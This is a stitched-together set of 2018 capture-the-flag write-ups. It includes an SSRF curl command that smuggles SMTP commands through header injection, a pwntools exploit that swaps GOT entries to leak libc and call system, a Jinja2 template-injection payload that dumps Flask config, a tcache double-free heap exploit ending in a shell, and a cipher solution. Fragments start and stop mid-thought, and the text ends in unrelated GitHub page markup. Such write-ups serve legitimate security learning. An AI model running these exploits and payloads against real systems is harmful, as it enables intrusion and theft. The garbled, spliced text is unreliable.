echo, if the result was not a picture.We could, however, see when certain link was `down`. We used this to `port scan` the local machine, and we found out that port `25` was available.This pointed us to similar idea as in https://github.com/p4-team/ctf/tree/master/2017-12-09-seccon-quals/web_sqlsrf task where we were supposed to send email using HTTP header injection. We tested this locally, and it seemed just fine, we could inject headers via newlines/carrige returns in the link, and therefore we could pass SMTP commands.So we tried sending: ```curl 'web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/user/avatar' -H 'Cookie: session=eyJ1aWQiOjE2NX0.DjfNgg.FM5Rbzw1uSiBvKx5L7YUoFpJsGk' --data 'url=http://127.0.0.2%0d%0aHELO 127.0.0.2%0aMAIL FROM: <[email protected]>%0aRCPT TO: <[email protected]>%0aDATA%0aFROM: [email protected]%0aTO: [email protected]%0aSUBJECT: GIB%0d%0a.%0d%0a%0aQUIT%0a:25&action=save'``` But for some reason we got no emails from the server... Our mistake was missing the special case implemented in postfix: ```c#define DEF_SMTPD_FORBID_CMDS "CONNECT GET POST" /* Ignore smtpd_forbid_cmds lookup errors. Non-critical feature. */ if (cmdp->name == 0) { state->where = SMTPD_CMD_UNKNOWN; if (is_header(argv[0].strval) || (*var_smtpd_forbid_cmds && string_list_match(smtpd_forbid_cmds, argv[0].strval))) { msg_warn("non-SMTP command from %s: %.100s", state->namaddr, vstring_str(state->buffer)); smtpd_chat_reply(state, "221 2.7.0 Error: I can break rules, too. Goodbye."); break; } } ``` There is a hardening which targets exactly what we wanted to do - using HTTP request with injected headers to smuggle SMTP commands.The way to bypass this was to use `https` instead of `http`, because in such case the initial part of the request will actually be encrypted, and SMTP will ignore it, and the Host will be in plaintext so the server will receive nice set of SMTP commands.So is we instead send: ```curl 'web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/user/avatar' -H 'Cookie: session=eyJ1aWQiOjE2NX0.DjfNgg.FM5Rbzw1uSiBvKx5L7YUoFpJsGk' --data 'url=https://127.0.0.2%0d%0aHELO 127.0.0.2%0aMAIL FROM: <[email protected]>%0aRCPT TO: <[email protected]>%0aDATA%0aFROM: [email protected]%0aTO: [email protected]%0aSUBJECT: GIB%0d%0a.%0d%0a%0aQUIT%0a:25&action=save'``` We get a nice email with: ```Message-ID: <20180722213651.1119A1F05FA9@flag.ctfzone.1640392aaf27597150c97e04a99a6f08.localdomain>``` And the flag is `ctfzone{1640392aaf27597150c97e04a99a6f08}`
https://medium.com/@johnhammond010/codefest-ctf-2018-writeups-f45dafebb8c2Discord: https://discord.gg/fwdTp3JYouTube: https://youtube.com/johnhammond010
in fact the challenge is messed up ,you could simply alert(1) in the web console and it will alert the flagbut the point is javascript injection so the proper solution is using an image tag like this:
# Tokyo Western 2018: scs7## Solution If you want to know the gist of the solution, just look at the quick explanation. The rest of the writeup would simply be my approach in solving this problem. If you need code snippets for some of the parts, it'll be in the github repository. ### Quick Explanation The encryption used is a mix of a special encoding and substitution cipher using the following steps: 1. m1 = base59encode(m) 2. m2 = substitution_encryption(m1, secret_mapping) So to decrypt you first have to figure out the mapping used for the substitution cipher and then just reverse the process. 1. m1 = substitution_decrypt(m2, secret_mapping) 2. flag = base59decode(m1) ### Full Explanation Based on some trial and errors, we can see gain insight from the input and output.```message: aaaaciphertext: vyCU1bmessage: aaabciphertext: vyCU1Hmessage: aciphertext: 4Rmessage:``` #### It's an encoding Observe the differences between `aaaa` and `aaab`. ```aaaa => vyCU1baaab => vyCU1H``` This is a clue that this is either a shift cipher, substitution cipher, or simply some encoding. One clue that can it is an encoding if that _"close"_ characters result to _"close"_ output. Here is an example below, where we see `a`, `b`, and `c` result to ciphertexts all starting with `g`. ```message: aciphertext: gAmessage: bciphertext: gXmessage: cciphertext: g1``` #### It's base59 We enumerate all printable ASCII characters to see if this behavior holds true or if this is a coincidence. ```message: 0ciphertext: mmessage: 1ciphertext: z2message:ciphertext: 13message:ciphertext: qmessage: 4ciphertext: F ... message: 9ciphertext: Zmessage: :ciphertext: 3message: ;ciphertext: uGmessage: <ciphertext: uu ... message: Aciphertext: uNmessage: Bciphertext: uRmessage: Cciphertext: u7message: Dciphertext: uS ``` So here it is clear that it is indeed some encoding. And we observe that it is notable that __starting `;`, the ciphertext is 2 digits__. ```| character | value || --------- | ----- || `:` | 58 || `;` | 59 || `<` | 60 |``` Since `;` is 59, then this is a clue that this is in base59, since this would be `10` in base59. This is further supported by `<`, value 60, which should be `11` in base59. We see the mapping ```| character | value | base59 | ciphertext || --------- | ----- | ------ | ---------- || `;` | 59 | 10 | uG || `<` | 60 | 11 | uu |``` So this leads us to believe that this is __base59 encoding + substitution cipher__. #### Finding out the substitution However, we see that in each run, the substitution is different.```message: 9ciphertext: kmessage: :ciphertext: zmessage: ;ciphertext: AUmessage: <ciphertext: AA``` To do this, we generate a lot of ciphertext and since we know what the plaintext _(base59 of our message)_ should be, we can figure out what the mapping is. ```encrypted flag: ZwkbWBK6s1Juy2PPamHctPBy4hCDe5aKKEg2boyQ0UXdXz453nwcnkRd0SQaXnFP You can encrypt up to 100 messages.message:OMPrEcUtniP3tKswwMLLnhCRYbIAMkS7vxycrccgciphertext: sjyzwT6TUwUVUZ8Xs0e7jerDy8QQR3jRdcPVedAf5dxrUMqWXkfKq8Emessage: vdBPbo7JqcrsQzU8ZzwvdvKOCxFK6wh9LL6ezeYXciphertext: xEeEDmYjuLUobQiTnP2NkoV3m8cTJWdKsh4EDd4EgkQNuyWqfWFZYKimessage: Q09UcgkIzd9Nt0BWXrX6wFc1kTrVhJACY0EmJeXcciphertext: s1WeVJdKJvGpVvQWZqExHJn61LTj3KiKuDAMP0eKdRpZuQwwJm2nJcWmessage: 3QFMcEPpXitmaL05OcTrE0dIBajyAtujbccupUJlciphertext: sqnbSkc8K3L50UDGDrHiQsCMpCpPnAgFBbrTmxYX1p8kasngcYJ7VGEmessage: NXY3IDTj6eKWvUVTMBLnE0XyjTnh70BtwSK8rXeCciphertext: sWfLryrSXGxo3MTBMTqzA3PmmtyR8GvzRTsH7ZBxKYwM6E09mFoer5x``` And from this information, we know enough to get the flag. `TWCTF{67ced5346146c105075443add26fd7efd72763dd}`
```pythonfrom pwn import *import sys def _set(addr1, addr2): r.sendlineafter('choice:', '1') r.sendlineafter('address:', str(addr1)) r.sendlineafter('address:', str(addr2)) def _swap(): r.sendlineafter('choice:', '2') def exploit(r, libc=None): exit_got = 0x601018 atoi_got = 0x601050 printf_got = 0x601038 setvbuf_got = 0x601048 stderr = 0x6010a0 # swap printf and 0x601058 # now 0x601058 points to printf _set(printf_got, 0x601058) _swap() # swap atoi and 0x601058 # now atoi points to printf _set(atoi_got, 0x601058) _swap() # leak stack address with format string r.sendlineafter('choice:', '%p') r.recvline() stack_leak = r.recv(14) stack_addr = int(stack_leak, 16) log.success('leaked stack address @ {}'.format(hex(stack_addr))) # restore atoi r.sendlineafter('address:', str(0x601058)) r.sendlineafter('address:', str(atoi_got)) _swap() # swap exit with main address _set(stack_addr+114, exit_got) _swap() # swap setvbuf and printf _set(setvbuf_got, 0x601058) _swap() # stack_addr+42 points to 0x601048 # stack_addr+50 points to 0x601058 # exit to move stack address and back to main r.sendlineafter('choice:', '3') # swap stderr and setvbuf # now stderr points to setvbuf _set(stderr, stack_addr+50) _swap() # exit again to move stack address and back to # so we can leak libc with setvbuff in finalize function r.sendlineafter('choice:', '3') r.recvuntil('Bye. ') r.recv(8) # leaked libc below libc_leak = u64(r.recv(6).ljust(8, "\x00")) libc_main = libc_leak - libc.symbols['setvbuf'] libc_system = libc_main + libc.symbols['system'] gadget = libc_main + 0x45216 log.success('leaked setvbuf @ {}'.format(hex(libc_leak))) log.success('leaked libc main @ {}'.format(hex(libc_main))) # write system at stack so we can use it later _set(libc_system, 0xdeadbeef) # now stack_addr - 86 points to system # exit to move stack address r.sendlineafter('choice:', '3') # overwrite atoi with system _set(atoi_got, stack_addr-86) _swap() r.interactive() if __name__ == '__main__': if len(sys.argv) > 1: r = remote(sys.argv[1], int(sys.argv[2])) libc = ELF('./libc-a3c98364f3a1be8fce14f93323f60f3093bdc20ba525b30c32e71d26b59cd9d4.so.6') exploit(r, libc) else: r = process(['./swap_returns']) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') print util.proc.pidof(r) exploit(r, libc)```
Although you might not be able to list app, but it do have a `__init__` child, then we can use `{{app.__init__.__globals__.sys.modules.app.app.__dict__}}` to list all of the original properties This was the response from `http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7Bapp.__init__.__globals__.sys.modules.app.app.__dict__%7D%7D` ```{'import_name': 'app', 'template_folder': 'templates', 'root_path': '/srv/shrine', '_static_folder': 'static', '_static_url_path': None, 'instance_path': '/srv/shrine/instance', 'config': <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'FLAG': 'TWCTF{pray_f0r_sacred_jinja2}'}>, 'view_functions': {'static': <bound method _PackageBoundObject.send_static_file of <Flask 'app'>>, 'index': <function index at 0x7fdc27641d90>, 'shrine': <function shrine at 0x7fdc2345e158>}, 'error_handler_spec': {None: {}}, 'url_build_error_handlers': [], 'before_request_funcs': {}, 'before_first_request_funcs': [], 'after_request_funcs': {}, 'teardown_request_funcs': {}, 'teardown_appcontext_funcs': [], 'url_value_preprocessors': {}, 'url_default_functions': {}, 'template_context_processors': {None: [<function _default_template_ctx_processor at 0x7fdc2344ed08>]}, 'shell_context_processors': [], 'blueprints': {}, '_blueprint_order': [], 'extensions': {}, 'url_map': Map([<Rule '/' (GET, HEAD, OPTIONS) -> index>, <Rule '/static/<filename>' (GET, HEAD, OPTIONS) -> static>, <Rule '/shrine/<shrine>' (GET, HEAD, OPTIONS) -> shrine>]), 'subdomain_matching': False, '_got_first_request': True, '_before_request_lock': <unlocked _thread.lock object at 0x7fdc276720d0>, 'name': 'app', 'cli': <flask.cli.AppGroup object at 0x7fdc2766cda0>, 'jinja_env': <flask.templating.Environment object at 0x7fdc26b37d30>, 'logger': <Logger flask.app (WARNING)>, 'jinja_loader': <jinja2.loaders.FileSystemLoader object at 0x7fdc22cd2438>}```
# leak addrThis elf use the libc-2.27, which has the tcache to manage the chunks.The first 7 chunks are put in the tcache instead of main arena.So we should malloc at least 8 small bin chunks with the same size and then free them to leak the libc address.```pythonadd('1','127','1','ref','y')for i in range(2,9): add(str(i),'127',str(i),'ref','n') for i in range(1,9): dele(str(i))dele('1')list()p.recvuntil('\x31\x7c\x1b\x5b\x33\x33\x6d')libc_addr = u64(p.recvuntil('\x1b')[:-1].ljust(8,'\x00')) - 0x3ebca0print hex(libc_addr)```# overwrite fdIf the book 'A' is setted as best seller, we can add a new book 'B' as soon as 'A' is deleted.At this time, the chunks 'B' uses are freed. ```c if ( ptr ) { --*((_BYTE *)ptr + 49); *(_QWORD *)((char *)ptr + 50) = sub_400C4A; if ( !*((_BYTE *)ptr + 49) ) { free(*((void **)ptr + 1)); free(ptr); } }```We can delete book 'B' to the cause double free. So the chunck is put in the tcache twice.Then we can overwrite the fd in chunk by adding a new book.# overwrite the free_hookBecause of the overwritting of fd, we can get the chunk in any address to write.If we overwrite the fd to free_hook address, we can put system address in it.And then we delete the chunk with string '/bin/sh', we can get shell.
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-Scripts/WhiteHat_grandprix_2018/re06 at master · r00tus3r/CTF-Scripts · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A2F1:B9C6:AA3B84F:AEAED5C:6412261A" data-pjax-transient="true"/><meta name="html-safe-nonce" content="81ca7866181e58e1a7510027d95fa44f341edde797680ca68cd1770793c4a853" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBMkYxOkI5QzY6QUEzQjg0RjpBRUFFRDVDOjY0MTIyNjFBIiwidmlzaXRvcl9pZCI6IjQyNTA0Mjk4NjEyMDg5MjU3MjIiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="b381a51c9afad16216eab67421a4f015ba66c36eba9339e44b8731ba624b8986" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:84325108" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="CTF challenges and solutions. Contribute to r00tus3r/CTF-Scripts development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/a473642c5012dbaf54b2c33d508a7755268284f1f85f0a7435967f6d67aa7a7f/r00tus3r/CTF-Scripts" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Scripts/WhiteHat_grandprix_2018/re06 at master · r00tus3r/CTF-Scripts" /><meta name="twitter:description" content="CTF challenges and solutions. Contribute to r00tus3r/CTF-Scripts development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/a473642c5012dbaf54b2c33d508a7755268284f1f85f0a7435967f6d67aa7a7f/r00tus3r/CTF-Scripts" /><meta property="og:image:alt" content="CTF challenges and solutions. Contribute to r00tus3r/CTF-Scripts development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Scripts/WhiteHat_grandprix_2018/re06 at master · r00tus3r/CTF-Scripts" /><meta property="og:url" content="https://github.com/r00tus3r/CTF-Scripts" /><meta property="og:description" content="CTF challenges and solutions. Contribute to r00tus3r/CTF-Scripts development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/r00tus3r/CTF-Scripts git https://github.com/r00tus3r/CTF-Scripts.git"> <meta name="octolytics-dimension-user_id" content="18553219" /><meta name="octolytics-dimension-user_login" content="r00tus3r" /><meta name="octolytics-dimension-repository_id" content="84325108" /><meta name="octolytics-dimension-repository_nwo" content="r00tus3r/CTF-Scripts" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="84325108" /><meta name="octolytics-dimension-repository_network_root_nwo" content="r00tus3r/CTF-Scripts" /> <link rel="canonical" href="https://github.com/r00tus3r/CTF-Scripts/tree/master/WhiteHat_grandprix_2018/re06" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column 